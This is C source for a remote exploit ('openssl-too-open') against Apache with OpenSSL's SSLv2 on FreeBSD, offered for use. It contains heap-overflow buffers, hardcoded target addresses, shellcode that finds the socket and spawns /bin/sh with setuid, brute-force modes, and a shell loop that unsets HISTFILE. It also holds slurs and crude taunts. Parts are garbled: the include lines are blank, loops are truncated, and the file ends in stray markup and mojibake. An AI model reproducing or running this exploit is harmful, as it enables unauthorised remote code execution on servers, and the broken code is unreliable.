/*
* openssl-too-open.c - OpenSSL remote apache exploit
*
* by Solar Eclipse
*
* Compile with: gcc -o opeen frassl.c -lcrypto
*
* Private 0dd code.
*
*
* Updated by CrZ [crazy_einstein@yahoo.com] LimpidByte [lbyte.void.ru]
*
* AddOn:
* + BruteForce by using targets & by using start address
*
*
* Updated by ech0 [ech0@l33tsecurity.com]
*
* Replace:
* FreeBSD targets & FreeBSD shellcode
* ysbadaddn thnx for GOT's =)
* -more fixes by ysbadaddn so this fuqn thing works :)
* -cleaned some stuff up to.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include //ssl.h
#include //rsa.h
#include //x509.h
#include //evp.h
/* update this if you add architectures */
#define MAX_ARCH 21
int sslerror=0;
struct archs {
char* desc;
int func_addr; /* objdump -R /usr/sbin/apache | grep free */
} architectures[] = {
{
"FreeBSD 4.6-RELEASE-p1 (Apache-1.3.26)",
0x08090bec
},
{
"FreeBSD 4.5-RELEASE (Apache-1.3.26)",
0x080bed9c
},
{
"FreeBSD 4.5-RELEASE (Apache-1.3.26)",
0x081ab950
},
{
"FreeBSD 4.4-STABLE (Apache-1.3.19)",
0x080abcf4
},
{
"FreeBSD 4.4-RELEASE (Apache-1.3.26)",
0x080bed9c
},
{
NULL,
0
}
/*FreeBSD targets*/
};
extern int errno;
int cipher;
int ciphers;
char programexit = 0;
/* the offset of the local port from be beginning of the overwrite next chunk
buffer */
#define FINDSCKPORTOFS 208 + 12 + 32
#define BSD
unsigned char overwrite_session_id_length[] =
"AAAA" /* int master key length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL
MAX MASTER KEY LENGTH]; */
"\x70\x00\x00\x00"; /* unsigned int session id length; */
unsigned char overwrite_next_chunk[] =
"AAAA" /* int master key length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL
MAX MASTER KEY LENGTH]; */
"AAAA" /* unsigned int session id length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char session id[SSL MAX SSLSESSION ID
LENGTH]; */
"AAAA" /* unsigned int sid ctx length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char sid ctx[SSL MAX SID
CTXLENGTH]; */
"AAAA" /* int not resumable; */
"\x00\x00\x00\x00" /* struct sess cert st *sess cert; */
"\x00\x00\x00\x00" /* X509 *peer; */
"AAAA" /* long verify result; */
"\x01\x00\x00\x00" /* int references; */
"AAAA" /* int timeout; */
"AAAA" /* int time */
"AAAA" /* int compress meth; */
"\x00\x00\x00\x00" /* SSL CIPHER *cipher; */
"AAAA" /* unsigned long cipher id; */
"\x00\x00\x00\x00" /* STACK OF(SSL CIPHER) *ciphers; */
"\x00\x00\x00\x00\x00\x00\x00\x00" /* CRYPTO EX DATA ex data; */
"AAAAAAAA" /* struct ssl session st *prev,*next; */
"\x00\x00\x00\x00" /* Size of previous chunk */
"\x11\x00\x00\x00" /* Size of chunk, in bytes */
"fdfd" /* Forward and back pointers */
"bkbk"
"\x10\x00\x00\x00" /* Size of previous chunk */
"\x10\x00\x00\x00" /* Size of chunk, PREV INUSE is set */
/*
* this is some shitty shellcode
* but i hope it works
*/
/* shellcode start */
"\xeb\x0a\x90\x90" /* jump 10 bytes ahead, land at shellcode */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* this is overwritten with FD by the unlink macro */
/********************* findsckcode 59 bytes ********************/
"\x56" /* pushl %esi */
"\x5f" /* popl %edi */
"\x83\xef\x7c" /* subl $0x7c,%edi */
"\x57" /* pushl %edi */
"\xb0\x10" /* movb $0x10,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\x57" /* pushl %edi */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x51" /* pushl %ecx */
"\x33\xc0" /* xorl %eax,%eax */
"\xb0\x1f" /* movb $0x1f,%al */
"\x51" /* pushl %ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x59" /* popl %ecx */
"\x33\xdb" /* xorl %ebx,%ebx */
"\x3b\xc3" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne */
"\x66\xbb\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x5f\x02" /* cmpw %bx,0x2(%edi) */
"\x74\x02" /* je */
"\xe2\xe4" /* loop */
"\x51" /* pushl %ecx */
"\x50" /* pushl %eax */
"\x91" /* xchgl %ecx,%eax */
"\xb1\x03" /* movb $0x03,%cl */
"\x49" /* decl %ecx */
"\x89\x4c\x24\x08" /* movl %ecx,0x8(%esp) */
"\x41" /* incl %ecx */
"\xb0\x5a" /* movb $0x5a,%al */
"\xcd\x80" /* int $0x80 */
"\xe2\xf4" /* loop */
/********************* setuidcode 7 bytes *************************/
"\x33\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17,%al */
"\x50" /* pushl %eax */
"\xcd\x80" /* int $0x80 */
/************ execl("/bin/sh", "/bin/sh", 0); 23 bytes ************/
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""http://sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x54" /* pushl %esp */
"\x53" /* pushl %ebx */
"\x50" /* pushl %eax */
"\xb0\x3b" /* movb $0x3b,%al */
"\xcd\x80" /* int $0x80 */
;
/* read and write buffer */
#define BUFSIZE 50000
/* hardcoded protocol stuff */
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16 /* 128 bits */
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
/* straight from the openssl source */
#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1])) )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2)
/* we keep all SSL2 state in this structure */
typedef struct {
int sock;
/* client stuff */
unsigned char challenge[CHALLENGE_LENGTH];
unsigned char master_key[RC4_KEY_LENGTH];
unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
/* connection id - returned by the server */
int conn_id_length;
unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
/* server certificate */
X509 *x509;
/* session keys */
unsigned char* read_key;
unsigned char* write_key;
RC4_KEY* rc4_read_key;
RC4_KEY* rc4_write_key;
/* sequence numbers, used for MAC calculation */
int read_seq;
int write_seq;
/* set to 1 when the SSL2 handshake is complete */
int encrypted;
} ssl_conn;
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
#define COMMAND2 "unset HISTFILE; uname -a; id; w;\n"
long getip(char *hostname) {
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
perror("gethostbyname()");
exit(-1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/* mixter's code w/enhancements by core */
int sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
/* Priming commands */
strcpy(snd, COMMAND1 "\n");
write(sockfd, snd, strlen(snd));
strcpy(snd, COMMAND2 "\n");
write(sockfd, snd, strlen(snd));
/* Main command loop */
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if (FD_ISSET(sockfd, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
printf("Good Bye!\n");
return 0;
}
else programexit=1;
if (n < 0) {
perror("read");
return 1;
}
fputs(rcv, stdout);
fflush(stdout); /* keeps output nice */
}
} /* for(;;) */
}
/* Returns the local port of a connected socket */
int get_local_port(int sock)
{
struct sockaddr_in s_in;
unsigned int namelen = sizeof(s_in);
if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
printf("Can't get local port: %s\n", strerror(errno));
exit(1);
}
return s_in.sin_port;
}
/* Connect to a host */
int connect_host(char* host, int port)
{
struct sockaddr_in s_in;
int sock;
// printf("aaa %s %d\n",host,port);
s_in.sin_family = PF_INET;
s_in.sin_addr.s_addr = getip(host);
s_in.sin_port = htons(port);
// printf("aaa\n");
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) <= 0) {
printf("Could not create a socket\n");
exit(1);
}
// printf("aaa\n");
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
exit(1);
}
// printf("aaa\n");
return sock;
}
/* Create a new ssl conn structure and connect to a host */
ssl_conn* ssl_connect_host(char* host, int port)
{
ssl_conn* ssl;
if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
printf("Can't allocate memory\n");
exit(1);
}
/* Initialize some values */
ssl->encrypted = 0;
ssl->write_seq = 0;
ssl->read_seq = 0;
ssl->sock = connect_host(host, port);
return ssl;
}
/* global buffer used by the ssl result() */
char res_buf[30];
/* converts an SSL error code to a string */
char* ssl_error(int code) {
switch (code) {
case 0x00: return "SSL2 PE UNDEFINED ERROR (0x00)";
case 0x01: return "SSL2 PE NO CIPHER (0x01)";
case 0x02: return "SSL2 PE NO CERTIFICATE (0x02)";
case 0x04: return "SSL2 PE BAD CERTIFICATE (0x03)";
case 0x06: return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
default:
sprintf(res_buf, "%02x", code);
return res_buf;
}
}
/* read len bytes from a socket. boring. */
int read_data(int sock, unsigned char* buf, int len)
{
int l;
int to_read = len;
// printf("sock before read = %d\n",sock);
do {
if ((l = read(sock, buf, to_read)) < 0) {
printf("Error in read: %s\n", strerror(errno));
exit(1);
}
to_read -= len;
} while (to_read > 0);
return len;
}
/* reads an SSL packet and decrypts it if necessery */
int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
{
int rec_len, padding;
// printf("read_ssl_packet()\n");
// printf("1) before read ssl sock = %d\n",ssl->sock);
read_data(ssl->sock, buf, 2);
if ((buf[0] & 0x80) == 0) {
/* three byte header */
rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
// printf("2) before read ssl sock = %d\n",ssl->sock);
read_data(ssl->sock, &buf[2], 1);
padding = (int)buf[2];
}
else {
/* two byte header */
rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
padding = 0;
}
if ((rec_len <= 0) || (rec_len > buf_size)) {
printf("read_ssl_packet: Record length out of range (rec_len =%d)\n",rec_len);
sslerror=1;return 0; //exit(1);
}
// printf("3) before read ssl sock = %d\n",ssl->sock);
read_data(ssl->sock, buf, rec_len);
if (ssl->encrypted) {
if (MD5_DIGEST_LENGTH + padding >= rec_len) {
if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
/* the server didn't switch to encryption due to an error */
return 0;
}
else {
printf("read_ssl_packet: Encrypted message is too short(rec_len = %d)\n",rec_len);
sslerror=1;return 0;//exit(1);
}
}
/* decrypt the encrypted part of the packet */
RC4(ssl->rc4_read_key, rec_len, buf, buf);
/* move the decrypted message in the beginning of the buffer */
rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
}
if (buf[0] == SSL2_MT_ERROR) {
if (rec_len != 3) {
printf("Malformed server error message\n");
sslerror=1;return 0;//exit(1);
}
else {
return 0;
}
}
return rec_len;
}
/* send an ssl packet, encrypting it if ssl->encrypted is set */
void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
{
unsigned char buf[BUFSIZE];
unsigned char* p;
int tot_len;
MD5_CTX ctx;
int seq;
if (ssl->encrypted)
tot_len = rec_len + MD5_DIGEST_LENGTH; /* RC4 needs no padding */
else
tot_len = rec_len;
if (2 + tot_len > BUFSIZE) {
printf("send_ssl_packet: Record length out of range (rec_len =%d)\n",rec_len);
sslerror=1;return;//exit(1);
}
p = buf;
s2n(tot_len, p);
buf[0] = buf[0] | 0x80; /* two byte header */
if (ssl->encrypted) {
/* calculate the MAC */
seq = ntohl(ssl->write_seq);
MD5_Init(&ctx);
MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
MD5_Update(&ctx, rec, rec_len);
MD5_Update(&ctx, &seq, 4);
MD5_Final(p, &ctx);
p+=MD5_DIGEST_LENGTH;
memcpy(p, rec, rec_len);
/* encrypt the payload */
RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
}
else {
memcpy(p, rec, rec_len);
}
send(ssl->sock, buf, 2 + tot_len, 0);
/* the sequence number is incremented by both encrypted and plaintext packets*/
ssl->write_seq++;
}
/* Send a CLIENT HELLO message to the server */
void send_client_hello(ssl_conn *ssl)
{
int i;
unsigned char buf[BUFSIZE] =
"\x01" /* client hello msg */
"\x00\x02" /* client version */
"\x00\x18" /* cipher specs length */
"\x00\x00" /* session id length */
"\x00\x10" /* challenge length */
"\x07\x00\xc0\x05\x00\x80\x03\x00" /* cipher specs data */
"\x80\x01\x00\x80\x08\x00\x80\x06"
"\x00\x40\x04\x00\x80\x02\x00\x80"
""; /* session id data */
/* generate CHALLENGE LENGTH bytes of challenge data */
for (i = 0; i < CHALLENGE_LENGTH; i++) {
ssl->challenge[i] = (unsigned char) (rand() >> 24);
}
memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}
/* Get a SERVER HELLO response from the server */
void get_server_hello(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
unsigned char *p, *end;
int len;
int server_version, cert_length, cs_length, conn_id_length;
int found;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (len < 11) {
printf("get_server_hello: Packet too short (len = %d)\n", len);
sslerror=1;return ;// exit(1);
}
p = buf;
if (*(p++) != SSL2_MT_SERVER_HELLO) {
printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got%x\n",(int)p[-1]);
sslerror=1;return ;// exit(1);
}
if (*(p++) != 0) {
printf("get_server_hello: SESSION-ID-HIT is not 0\n");
sslerror=1;return ;// exit(1);
}
if (*(p++) != 1) {
printf("get_server_hello: CERTIFICATE-TYPE is not SSL CTX509CERTIFICATE\n");
sslerror=1;return ;// exit(1);
}
n2s(p, server_version);
if (server_version != 2) {
printf("get_server_hello: Unsupported server version %d\n", server_version);
sslerror=1;return ;// exit(1);
}
n2s(p, cert_length);
n2s(p, cs_length);
n2s(p, conn_id_length);
if (len != 11 + cert_length + cs_length + conn_id_length) {
printf("get_server_hello: Malformed packet size\n");
sslerror=1;return ;// exit(1);
}
/* read the server certificate */
ssl->x509 = NULL;
ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
if (ssl->x509 == NULL) {
printf("get server hello: Cannot parse x509 certificate\n");
sslerror=1;return ;// exit(1);
}
if (cs_length % 3 != 0) {
printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
sslerror=1;return ;// exit(1);
}
found = 0;
for (end=p+cs_length; p < end; p += 3) {
if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
found = 1; /* SSL CK RC4 128 WITH MD5 */
}
if (!found) {
printf("get server hello: Remote server does not support 128 bit RC4\n");
sslerror=1;return ;// exit(1);
}
if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
sslerror=1;return ;// exit(1);
}
/* The connection id is sent back to the server in the CLIENT FINISHED packet*/
ssl->conn_id_length = conn_id_length;
memcpy(ssl->conn_id, p, conn_id_length);
}
/* Send a CLIENT MASTER KEY message to the server */
void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite,int
key_arg_overwrite_len) {
int encrypted_key_length, key_arg_length, record_length;
unsigned char* p;
int i;
EVP_PKEY *pkey=NULL;
unsigned char buf[BUFSIZE] =
"\x02" /* client master key message */
"\x01\x00\x80" /* cipher kind */
"\x00\x00" /* clear key length */
"\x00\x40" /* encrypted key length */
"\x00\x08"; /* key arg length */
p = &buf[10];
/* generate a 128 byte master key */
for (i = 0; i < RC4_KEY_LENGTH; i++) {
ssl->master_key[i] = (unsigned char) (rand() >> 24);
}
pkey=X509_get_pubkey(ssl->x509);
if (!pkey) {
printf("send client master key: No public key in the server certificate\n");
sslerror=1;return ;// exit(1);
}
if (pkey->type != EVP_PKEY_RSA) {
printf("send client master key: The public key in the server certificate is not a RSA key\n");
sslerror=1;return ;// exit(1);
}
/* Encrypt the client master key with the server public key and put it in thepacket
*/
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key,&buf[10],pkey->pkey.rsa, RSA_PKCS1_PADDING);
if (encrypted_key_length <= 0) {
printf("send client master key: RSA encryption failure\n");
sslerror=1;return ;// exit(1);
}
p += encrypted_key_length;
if (key_arg_overwrite) {
/* These 8 bytes fill the key arg array on the server */
for (i = 0; i < 8; i++) {
*(p++) = (unsigned char) (rand() >> 24);
}
/* This overwrites the data following the key arg array */
memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
key_arg_length = 8 + key_arg_overwrite_len;
}
else {
key_arg_length = 0; /* RC4 doesn't use KEY-ARG */
}
p = &buf[6];
s2n(encrypted_key_length, p);
s2n(key_arg_length, p);
record_length = 10 + encrypted_key_length + key_arg_length;
send_ssl_packet(ssl, buf, record_length);
/* all following messages should be encrypted */
ssl->encrypted = 1;
}
/* Generate the key material using the algorithm described in the SSL2specification */
void generate_key_material(ssl_conn* ssl)
{
unsigned int i;
MD5_CTX ctx;
unsigned char *km;
unsigned char c='0';
km=ssl->key_material;
for (i=0; imaster_key,RC4_KEY_LENGTH);
MD5_Update(&ctx,&c,1);
c++;
MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
MD5_Final(km,&ctx);
km+=MD5_DIGEST_LENGTH;
}
}
/* Generate the RC4 session read and write keys */
void generate_session_keys(ssl_conn* ssl)
{
generate_key_material(ssl);
ssl->read_key = &(ssl->key_material[0]);
ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
}
/* Get a SERVER VERIFY response from the server */
void get_server_verify(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (len != 1 + CHALLENGE_LENGTH) {
printf("get server verify: Malformed packet size\n");
sslerror=1;return ;// exit(1);
}
if (buf[0] != SSL2_MT_SERVER_VERIFY) {
printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n",(int)buf[0]);
sslerror=1;return ;// exit(1);
}
/* If this works, our decryption key is correct */
if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
printf("get server verify: Challenge strings don't match\n");
sslerror=1;return ;// exit(1);
}
}
/* Send a CLIENT FINISHED message to the server */
void send_client_finished(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
buf[0] = SSL2_MT_CLIENT_FINISHED;
memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
}
/* Get a SERVER FINISHED message from the server */
void get_server_finished(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
int i;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (buf[0] != SSL2_MT_SERVER_FINISHED) {
printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n",(int)buf[0]);
sslerror=1;return ;// exit(1);
}
if (len <= 112 /*17*/) {
printf("This server is not vulnerable to this attack.\n");
sslerror=1;return ;// exit(1);
}
printf("Session:\n");
printf("0000 - ");
for (i = 1; i < len; i++) {
printf("%02x ", (unsigned int)buf[i]);
if (i % 16 == 0) printf("\n%04x - ", i);
}
printf("\n");
cipher = *(int*)&buf[101];
ciphers = *(int*)&buf[109];
printf("cipher: 0x%x ciphers: 0x%x\n", cipher, ciphers);
}
void get_server_error(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
printf("get server finished: Expected SSL2 MT ERROR, got %x\n",
(int)buf[0]);
sslerror=1;return ;// exit(1);
}
}
void usage(char* argv0)
{
int i = 0;
printf(": Usage: %s <-h hostname> [-t arch] [-p port] [-c N] [-b 0x][-brute]\n", argv0);
printf(" Supported architectures:\n");
while(architectures[i].desc) {
if(architectures[i].desc)
printf("\t0x%02x - %s\n", i, architectures[i].desc);
i++;
}
printf("\nUse the -c option to open N connections before sending the shellcode.\n");
printf("-b: brute by using start address that will be decrimenting by -4 ;)\n");
printf("-brute: faster brute by using targets in exploit (t.i. 0x00, 0x01,etc.)\n");
exit(1);
}
/* run, code, run */
int main(int argc, char* argv[])
{
char* host = NULL;
int port = 443, portcpy=443;
int i,j;
int arch;
int N = 0;
ssl_conn* ssl1;
ssl_conn* ssl2;
int brute=0,xbrute=0;
long retaddr;
int sckmass[500];
printf(": openssl-too-open.c - OpenSSL remote apache exploit For BSD\n");
// if ((argc < 3) || (argc > 6))
// usage(argv[0]);
//
// /* pff... use getopt next time, fool */
// sscanf(argv[1], "0x%x", &arch);
// if ((arch < 0) || (arch > MAX_ARCH))
// usage(argv[0]);
// host = argv[4];
// if (argc == 2)
// port = atoi(argv[3]);
// else if (argc == 5) {
// if (strcmp(argv[3], "-c"))
// usage(argv[0]);
// N = atoi(argv[4]);
// }
// else if (argc == 6) {
// port = atoi(argv[3]);
// if (strcmp(argv[4], "-c"))
// usage(argv[0]);
// N = atoi(argv[5]);
// }
/* this part will be much better ;) */
for(j=0;j MAX_ARCH))
usage(argv[0]);}
if(strcmp(argv[j],"-h")==0) {host = argv[j+1];}
if(strcmp(argv[j],"-p")==0) {portcpy = atoi(argv[j+1]);}
if(strcmp(argv[j],"-c")==0) {N = atoi(argv[j+1]);}
if(strcmp(argv[j],"-brute")==0) { xbrute=1; }
}
if(host==NULL) usage(argv[0]);
if(xbrute) retaddr=-1;
port=portcpy;
srand(0x31337);
/* Open N connections before sending the shellcode. Hopefully this will
use up all available apache children and the shellcode will be handled
by a freshly spawned one */
j=0;
for (i=0; i= 8000000) || (xbrute) ) {
ssl1 = ssl_connect_host(host, port);
ssl2 = ssl_connect_host(host, port);
// printf("ssl1 = %d, ssl2 = %d\n",ssl1,ssl2);
send_client_hello(ssl1);
get_server_hello(ssl1);
send_client_master_key(ssl1,overwrite_session_id_length,sizeof(overwrite_session_id_length)-1);
generate_session_keys(ssl1);
get_server_verify(ssl1);
send_client_finished(ssl1);
get_server_finished(ssl1);
/* The second connection uses the ciphers variable to get the shellcode
address and sends the shellcode to server */
printf("You better be ready to send shellcode, motherfucker\n"
"Cuz we gonna jack the fuckin ACID!@$!@$\n");
port = get_local_port(ssl2->sock);
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
/* We must overwrite s->session->cipher with its original value */
*(int*)&overwrite_next_chunk[156] = cipher;
/* The fd and bk pointers of the fake malloc chunk */
if(xbrute) {
retaddr++;
if(architectures[retaddr].func_addr==0) exit(1);
printf("[*] trying target 0x%x[0x%x]\n",retaddr,architectures[retaddr].func_addr);
*(int*)&overwrite_next_chunk[192] = architectures[retaddr].func_addr- 12;
}
else{
retaddr-=4;
printf("[*] trying 0x%x\n",retaddr);
*(int*)&overwrite_next_chunk[192] = retaddr;
}
*(int*)&overwrite_next_chunk[196] = ciphers + 16; /* shellcode address */
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2,overwrite_next_chunk,sizeof(overwrite_next_chunk)-1);
generate_session_keys(ssl2);
get_server_verify(ssl2);
/* overwrite the connection id with random bytes, causing the server toabortthe connection */
for (i = 0; i < ssl2->conn_id_length; i++) {
ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
}
send_client_finished(ssl2);
get_server_error(ssl2);
if(sslerror==0) {
printf("Nigga plz...\n");
sleep(1);
sh(ssl2->sock);
}else sslerror=0;
close(ssl2->sock);
close(ssl1->sock);
port=portcpy;
for(j=0;jsock);
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
/* We must overwrite s->session->cipher with its original value */
*(int*)&overwrite_next_chunk[156] = cipher;
/* The fd and bk pointers of the fake malloc chunk */
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16; /* shellcode address */
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2,overwrite_next_chunk,sizeof(overwrite_next_chunk)-1);
generate_session_keys(ssl2);
get_server_verify(ssl2);
/* overwrite the connection id with random bytes, causing the server toabortthe connection */
for (i = 0; i < ssl2->conn_id_length; i++) {
ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
}
send_client_finished(ssl2);
get_server_error(ssl2);
printf("Spawning shell...\n");
sleep(1);
sh(ssl2->sock);
close(ssl2->sock);
close(ssl1->sock);
for(j=0;j |
| |
|
| | | |
|
|
|
|
|
|
| |
ÑÇÖÞÅ·ÃÀÔÚÏß